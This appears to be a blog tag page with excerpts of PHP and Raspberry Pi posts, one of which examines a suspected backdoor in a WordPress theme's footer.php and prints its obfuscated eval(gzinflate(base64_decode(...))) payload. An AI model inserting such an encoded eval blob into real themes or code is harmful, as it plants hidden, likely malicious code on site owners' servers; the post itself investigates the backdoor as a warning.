Inspired by this article, I’ve decided to create a new clock for my living room. I built it on top of newest Rasperry Pi model 3B+ with its official 7″ display, so some things are a bit different than those explained in that article and the pages it links to. The full code is available …
Tag: php
Backdoor in WordPress themes?
I was looking for a theme to use in a WordPress blog and I stumbled on this one. Cool, I thought, I might use it… but… hey… why there’s this weird stuff in footer.php? 12345678<? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0 NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc 5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/ b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5 p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBa hOh0EIT7b8A'))); ?> Uhm… it looks very suspicious. Too suspicious. Let’s change eval with …
PHP templates
When you design a complex application, it’s always useful to separate the presentation layer from the business logic. Usually, when dealing with web apps, this involves handing templates which are “filled” with data by your controller. The common rationale is that the template should contain as little logic as possible and that it should be …
Attributes, reflection and PHP
After a long exposure to .NET, when I get back to PHP I sometimes find myself missing some cool functionality (and a good IDE too… none of those I’ve tried so far can compete with the comfort of VisualStudio + ReSharper). Among these missing features, attributes are what I needed in order to solve a …